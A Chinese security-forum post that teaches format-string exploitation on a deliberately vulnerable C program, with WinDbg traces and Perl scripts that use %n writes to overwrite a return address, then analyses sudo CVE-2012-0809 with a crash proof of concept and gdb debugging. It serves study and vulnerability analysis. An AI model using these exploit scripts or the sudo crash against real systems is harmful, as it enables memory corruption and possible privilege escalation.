首页
论坛
课程
招聘
[原创]格式化字符串漏洞利用方法及CVE-2012-0809漏洞分析
2021-8-4 18:34 8180

[原创]格式化字符串漏洞利用方法及CVE-2012-0809漏洞分析

2021-8-4 18:34
8180

1. 前言

这篇文章分为两个部分,前半部分介绍了如何利用格式化字符串漏洞,后半部分从源代码以及动态调试两个角度对CVE-2012-0809进行了分析。

 

通过此次学习,充分熟悉了格式化字符串漏洞的利用方法,对linux平台下使用gdb对漏洞进行调试也有所了解。

2. 如何利用格式化字符串漏洞

2.1 测试代码

1
2
3
4
5
6
7
8
9
10
11
#include <stdio.h>
#include <string.h>
 
int main(int argc, char *argv[]) {
    char buff[1024];
    __asm int 3
    strncpy(buff, argv[1], sizeof(buff)-1);
    printf(buff);
 
    return 0;
}

测试命令行:

 

test-%x-%x-%x-%n

2.2 开始调试

2.2.1 确定栈中数据结构

由于代码中设置了int 3中断,程序开始执行后,会打开调试器,向前步进到第一个函数strncpy的调用处,查看一下栈中情况:

1
2
3
4
5
6
7
8
9
10
0:000> dc /c 1 esp
0018fb3c  0018fb48  H...      // 目标地址
0018fb40  004e0e77  w.N.      // 源地址
0018fb44  000003ff  ....      // 复制长度
0018fb48  02480248  H.H.      // 这里就是目标地址指向的位置
0018fb4c  02480248  H.H.
0018fb50  02480248  H.H.
0018fb54  02480248  H.H.
0018fb58  02480248  H.H.
...

可以看到此时栈顶的三个元素就是函数调用的三个参数:目标地址,字符串源地址,复制长度。

 

注意这个目标地址是0x18fb48,指向的也是栈中的地址,实际上就在三个参数之后。执行完这个函数调用,栈中情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
0:000> dc /c 1 esp
0018fb3c  0018fb48  H...
0018fb40  004e0e77  w.N.
0018fb44  000003ff  ....
0018fb48  74736574  test
0018fb4c  2d78252d  -%x-
0018fb50  252d7825  %x-%
0018fb54  6e252d78  x-%n
0018fb58  00000000  ....
0018fb5c  00000000  ....
0018fb60  00000000  ....
0018fb64  00000000  ....
0018fb68  00000000  ....
...

然后继续步进,到达下一个函数printf调用处,查看栈中情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
0:000> dc /c 1 esp
0018fb38  0018fb48  H...
0018fb3c  0018fb48  H...
0018fb40  004e0e77  w.N.
0018fb44  000003ff  ....
0018fb48  74736574  test
0018fb4c  2d78252d  -%x-
0018fb50  252d7825  %x-%
0018fb54  6e252d78  x-%n
0018fb58  00000000  ....
0018fb5c  00000000  ....
0018fb60  00000000  ....
...

printf函数的原型是int printf ( const char * format, ... );,它需要的参数是由第一个参数决定的,因为我们使用的格式化字符串是test-%x-%x-%x-%n,因此一共需要五个参数。其中第五个参数就是已打印字符数的写入地址,也就是栈中0018fb48位置处的数值74736574。还记得这个数值是之前调用strncpy函数时写入的,就是格式化字符串的前四个字符。

 

所以到目前位置,我们已经发现了一个把可控内容(已打印字符数)写入可控地址(参数的前四个字节)的方法,需要做的就是把shellcode的地址写入返回地址的位置。

 

shellcode的地址应该在栈中的某个位置,这里选择0x18fb48(十进制1637192)附近。要想控制已打印字符数,可以使用%1111x的格式,这样输出时统计的打印字符数是1111个字节。

 

返回地址可以查看调用栈:

1
2
3
4
5
6
7
8
0:000> kb
ChildEBP RetAddr  Args to Child             
WARNING: Stack unwind information not available. Following frames may be wrong.
0018ff48 00401232 00000002 004e0e28 004e0e90 FormatString+0x1029
0018ff88 77203677 7efde000 0018ffd4 77929d72 FormatString+0x1232
0018ff94 77929d72 7efde000 75381a13 00000000 kernel32!BaseThreadInitThunk+0xe
0018ffd4 77929d45 0040117e 7efde000 00000000 ntdll!__RtlUserThreadStart+0x70
0018ffec 00000000 0040117e 7efde000 00000000 ntdll!_RtlUserThreadStart+0x1b

所以返回地址为0x00401232,返回地址所在的位置为0018ff48+c=0018ff4c,这里有一个问题,返回地址中包含\x00字节,没有办法放在字符串的中间位置。但是需要注意,之所以说写入的可控地址是参数的前四个字节,是因为我们使用的格式化字符串中,%n是第四个格式化字符串,我们可以通过调整%n的位置,让它指向参数的其他位置。

2.2.2 确定参数格式

在调用prinf函数时,栈中的结构:

 

4字节printf函数参数 12字节strncpy函数参数 (%818596x %818596x a个%x %n 168字节shellcode \x4c\xff\x18\x00)

 

其中括号中的内容就是我们需要传入的参数,%818596x这里的818596是为了控制已打印字符数,根据调试结果还要再次修改,同时这里假定shellcode的长度是168个字节,最后四个字节是返回地址我们要让%n指向这里。所以%x应该正好可以覆盖前面的这些字节,即Num of %x = a+2 = (12+16+2a+2+168)/4,最后得到a等于95,所以%x的个数为97

 

得到perl脚本:

1
2
3
4
5
6
7
8
#!/usr/bin/perl
my $shellcode ="\xCC" x 168;
my $x = "%x" x 95;
my $format = '%818596x%818596x%n';
my $ret = "\x00\x00\x40\x00";
my $buf = $shellcode.$x.$format.$ret;
 
system('FormatString.exe', $buf);

为了得到准确的已打印字符数,这里的返回地址暂时设置为0x400000,这样程序会在这里异常中断:

1
2
3
4
5
6
7
8
(644.424): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=0000006e ecx=0018fedf edx=00000200 esi=0018fcc0 edi=00000800
eip=00401877 esp=0018f8b8 ebp=0018fb10 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
FormatString+0x1877:
00401877 8908            mov     dword ptr [eax],ecx  ds:002b:00000000=????????

注意这时的ECX的值为0018fedf,与我们预期的0x18fb48相差了0x397,这样重新设置format变量为 %818137x%818136x%n,再把ret变量修改为正确的值,得到脚本:

1
2
3
4
5
6
7
8
9
#!/usr/bin/perl
my $shellcode ="\xCC" x 168;
my $x = "%x" x 95;
my $format = '%818137x%818136x%n';
my $ret = "\x4c\xff\x18\x00";
my $buf = $shellcode.$x.$format.$ret;
my $buf2 = "\x{910c}";
 
system('FormatString.exe', $buf);

再次执行,步过一开始代码中写的int 3,程序中断在了0x18fb48

1
2
3
4
5
6
0:000> g
(544.7d4): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=7efde000 ecx=00407060 edx=0008e3b8 esi=00000000 edi=00000000
eip=0018fb48 esp=0018ff50 ebp=0018ff88 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
0018fb48 cc              int     3

按照上面的方法,替换shellcode的内容,重新计算相关的长度,就可以实现漏洞利用了。

2.3 总结

根据上面的调试过程,当遇到格式化字符串漏洞时,就可以在任意位置写入任意内容了。其中有几个要点:

  • 通过%【数字】x控制已打印字符数,从而控制写入内容
  • 通过%n实现写入功能
  • 通过控制%x的个数控制写入的位置
  • %x的个数以及具体的输入内容可以根据2.2.2中介绍的方法进行确定,关键是要对栈中的数据结构有一个判断。

3. 漏洞分析

3.1 漏洞介绍

CVE-2012-0809是sudo程序中的一个格式化字符串漏洞,存在于版本sudo 1.8.0 - 1.8.3p1中。

3.2 环境搭建

kali版本:

1
2
root@kali:~/Desktop# uname -a
Linux kali 5.10.0-kali7-686-pae #1 SMP Debian 5.10.28-1kali1 (2021-04-12) i686 GNU/Linux
  1. 卸载原始sudo:
1
apt-get --purge remove sudo
  1. 下载sudo 1.8.2
  2. 解压缩并进入文件夹sudo-1.8.2:
    1. ./configure
    2. make
    3. make install

漏洞验证:

1
2
3
root@kali:~/Desktop# ln -s /usr/local/bin/sudo %n
root@kali:~/Desktop# ./%n -D9
Segmentation fault

3.3 源码-静态分析

源码可是直接从src/sudo.c中获取:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void
sudo_debug(int level, const char *fmt, ...)
{
    va_list ap;
    char *fmt2;
 
    if (level > debug_level)
    return;
 
    /* Backet fmt with program name and a newline to make it a single write */
    easprintf(&fmt2, "%s: %s\n", getprogname(), fmt);
    va_start(ap, fmt);
    vfprintf(stderr, fmt2, ap);
    va_end(ap);
    efree(fmt2);
}

根据exploit-db中的描述:

Here getprogname() is argv[0] and by this user controlled. So argv[0] goes to fmt2 which then gets vfprintf()ed to stderr. The result is a Format String vulnerability.

 

getprogname就是用户可控的输入的程序名,在easprintf函数调用中传入了fmt2变量中,然后又在vfprintf函数调用中传入了stderr,在这一过程中,如果程序名包含了%n,就会发生格式化字符串漏洞。

 

虽然从代码来看也能看出来,但是我还是希望调试一下,一方面熟悉一下linux下的gdb调试,一方面也想让整个流程更加清晰。

3.4 调试-动态分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
root@kali:~/Desktop# gdb --args %n -D9
GNU gdb (Debian 10.1-1.7) 10.1.90.20210103-git
Copyright (C) 2021 Free Software Foundation, Inc.                                                                                                                                
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.
 
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from %n...
(gdb) b sudo_debug
Breakpoint 1 at 0x9250: file ./sudo.c, line 1211.

进入gdb之后,因为有源码和符号信息,可以直接在sudo_debug函数下断点,然后继续执行:

1
2
3
4
5
6
(gdb) r
Starting program: /root/Desktop/%n -D9
 
Breakpoint 1, sudo_debug (level=9, fmt=0x472e54 "settings: %s=%s") at ./sudo.c:1211
1211        if (level > debug_level)
(gdb)

可以看到fmt参数的内容是"settings: %s=%s"

 

使用display/i $pc显示当前的汇编代码,然后继续单步,到达easprintf函数调用的位置:

1
2
3
(gdb) ni
1: x/i $pc
=> 0x46e283 <sudo_debug+51>:    call   0x470170 <easprintf>

此时栈中的数据:

1
2
3
4
5
6
(gdb) x/20xw $esp
0xbf998310:     0xbf99832c      0x004730eb      0xbf999a83      0x00472e54
0xbf998320:     0x00000054      0x00000000      0x00000000      0xb7d7fdf0
0xbf998330:     0xb7f2da80      0x0046e256      0x0047a000      0x0046d006
0xbf998340:     0x00000009      0x00472e54      0x00472e97      0xbf999a88
0xbf998350:     0x016b9960      0x016b9960      0x0047aac0      0x00472e54

所以0x004730eb存储的应该就是"%s: %s\n"字符串,0xbf999a83存储的应该就是getprogname()的结果,我们可以检查一下:

1
2
3
4
5
6
7
8
(gdb) x/3sb 0x4730eb
0x4730eb:       "%s: %s\n"
0x4730f3:       "calling I/O close with errno"
0x473110:       "/usr/local/share/locale"
(gdb) x/3sb 0xbf999a83
0xbf999a83:     "%n"
0xbf999a86:     "-D9"
0xbf999a8a:     "SHELL=/bin/bash"

执行完该函数之后,查看一下得到的fmt2变量的内容:

1
2
3
4
5
6
7
8
9
(gdb) ni
1: x/i $pc
=> 0x46e288 <sudo_debug+56>:    lea    0x38(%esp),%eax
(gdb) x/4xw 0xbf99832c
0xbf99832c:     0x016b99c0      0xb7f2da80      0x0046e256      0x0047a000
(gdb) x/3sb 0x16b99c0
0x16b99c0:      "%n: settings: %s=%s\n"
0x16b99d5:      ""
0x16b99d6:      ""

结果是正常的,getprogname()fmt组合的结果。

 

继续向下执行,到达vfprintf函数调用处,查看栈中数据:

1
2
3
4
5
6
(gdb) x/20xw $esp
0xbf998310:     0xb7f2bc80      0x016b99c0      0xbf998348      0x00472e54
0xbf998320:     0x00000054      0x00000000      0x00000000      0x016b99c0
0xbf998330:     0xb7f2da80      0x0046e256      0x0047a000      0x0046d006
0xbf998340:     0x00000009      0x00472e54      0x00472e97      0xbf999a88
0xbf998350:     0x016b9960      0x016b9960      0x0047aac0      0x00472e54

第一个参数就是stderr的位置:

1
2
3
4
5
6
(gdb) x/20xw 0xb7f2bc80
0xb7f2bc80 <_IO_2_1_stderr_>:   0xfbad2086      0x00000000      0x00000000      0x00000000
0xb7f2bc90 <_IO_2_1_stderr_+16>:        0x00000000      0x00000000      0x00000000      0x00000000
0xb7f2bca0 <_IO_2_1_stderr_+32>:        0x00000000      0x00000000      0x00000000      0x00000000
0xb7f2bcb0 <_IO_2_1_stderr_+48>:        0x00000000      0xb7f2bd20      0x00000002      0x00000000
0xb7f2bcc0 <_IO_2_1_stderr_+64>:        0xffffffff      0x00000000      0xb7f2d0e8      0xffffffff

第二个参数就是vfprintf中的格式化字符串,也是esaprintf的执行结果:

1
2
3
4
(gdb) x/3sb 0x16b99c0
0x16b99c0:      "%n: settings: %s=%s\n"
0x16b99d5:      ""
0x16b99d6:      ""

第三个参数用于填补格式化字符串,vfprintf根据这个格式化字符串读取栈中后面的数据填入对应位置。:

1
2
3
4
5
6
(gdb) x/20xw 0xbf998348
0xbf998348:     0x00472e97      0xbf999a88      0x016b9960      0x016b9960
0xbf998358:     0x0047aac0      0x00472e54      0x00000001      0x016b9950
0xbf998368:     0x016b96f0      0x00000001      0x00472c57      0x00d70000
0xbf998378:     0x000a0000      0x00472778      0x0047bbe8      0x0047bbec
0xbf998388:     0x0047bbe4      0x0047bbe0      0x00472c42      0x00472740

因为格式化字符串是以%n开头,所以一开始就会把0写入到0x472e97这个位置。

 

这时候打一个快照,方便之后返回,然后步进一步,这时候就会发生错误:

1
2
3
4
5
6
7
(gdb) ni
 
Program received signal SIGSEGV, Segmentation fault.
0xb7dac6d8 in __vfprintf_internal (s=<optimized out>, format=<optimized out>, ap=0xbf998350 "`\231k\001`\231k\001\300\252G", mode_flags=<optimized out>)
    at vfprintf-internal.c:1687
5: x/i $eip
=> 0xb7dac6d8 <__vfprintf_internal+9224>:       mov    %ecx,(%eax)

可以看到这时执行的指令是mov %ecx,(%eax),看一下此时寄存器的情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
(gdb) info registers
eax            0x472e97            4664983
ecx            0x0                 0
edx            0x0                 0
ebx            0x0                 0
esp            0xbf9957c0          0xbf9957c0
ebp            0xbf995cc8          0xbf995cc8
esi            0xbf995d04          -1080468220
edi            0xb7f2b000          -1208832000
eip            0xb7dac6d8          0xb7dac6d8 <__vfprintf_internal+9224>
eflags         0x10246             [ PF ZF IF RF ]
cs             0x73                115
ss             0x7b                123
ds             0x7b                123
es             0x7b                123
fs             0x0                 0
gs             0x33                51

和我们上面推断的一样,把ecx中的0写入了0x472e97

3.5 简单分析

因为格式化字符串的开头就是%n,所以程序直接在第三个参数的首个位置进行了写入,但是注意这里vfprintf函数的第三个参数是0xbf998348,它并不是直接写入这个位置,第三个参数只是一个指针,指向了剩余参数的列表。

 

所以如果进行漏洞利用,还要看第三个参数指向的位置都保存了什么值,能不能够控制这些值,最终让已打印字符数写入返回地址处或者异常处理函数处。

 

如果在调用vfprintf之前使用backtrace查看一下函数调用情况:

1
2
3
4
(gdb) backtrace
#0  0x0046e29c in sudo_debug (level=9, fmt=0x472e54 "settings: %s=%s") at ./sudo.c:1217
#1  0x0046d006 in parse_args (argc=1, argv=0x16b9950, nargc=0xbf998420, nargv=0xbf998424, settingsp=0xbf998428, env_addp=0xbf99842c) at ./parse_args.c:424
#2  0x00467a30 in main (argc=2, argv=0xbf9985e4, envp=0xbf9985f0) at ./sudo.c:204

可以清晰地看到整个流程,直接回到源代码看一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// sudo.c  line 204
sudo_mode = parse_args(argc, argv, &nargc, &nargv, &settings, &env_add);
// parse_args.c   line 418
/*
* Format setting_pairs into settings array.
*/
settings = emalloc2(NUM_SETTINGS + 1, sizeof(char *));
for (i = 0, j = 0; i < NUM_SETTINGS; i++) {
    if (sudo_settings[i].value) {
        sudo_debug(9, "settings: %s=%s", sudo_settings[i].name, sudo_settings[i].value);
        settings[j] = fmt_string(sudo_settings[i].name, sudo_settings[i].value);
        if (settings[j] == NULL)
             errorx(1, _("unable to allocate memory"));
        j++;
    }
}
// sudo.c  line 1215
easprintf(&fmt2, "%s: %s\n", getprogname(), fmt);

根据上述代码,应该是说sudo有一系列的settings,这里正在循环打印其名称和值,并在打印时在最前面添加上程序名。

 

下面的结论不一定正确,纯猜测!!!

 

所以第三个参数指向的应该就是设置名称和值,如果能够改变这些设置其中的一个值,是不是就能够控制写入的位置了呢。

4. 总结

在撰写本文的过程中,其实前半部分对格式化字符串漏洞的学习反而收获比较大,后面对CVE-2012-0809的分析更多的是熟悉linux平台下gdb漏洞调试的方法。

 

在对格式化字符串漏洞进行利用时,需要一些对栈中数据的排列结构的了解,以及一些数学技巧才能构造出最终输入的格式化字符串,这一部分内容很有意思。

 

exploit-db上提供了一个exploit的代码,但是它同时利用了两个漏洞,除了本漏洞之外,还有一个利用整数溢出绕过glibc FORTIFY_SOURCE的技巧,由于缺乏对于Linux平台的了解,我只是简单看了一下这份代码,确实有很多的内容都不了解,不知道作者为什么会这么写。

5. 参考资料

  1. 《漏洞战争》
  2. printf format string
  3. Sudo Installation Notes

[公告] 欢迎大家踊跃尝试高研班11月试题,挑战自己的极限!

收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回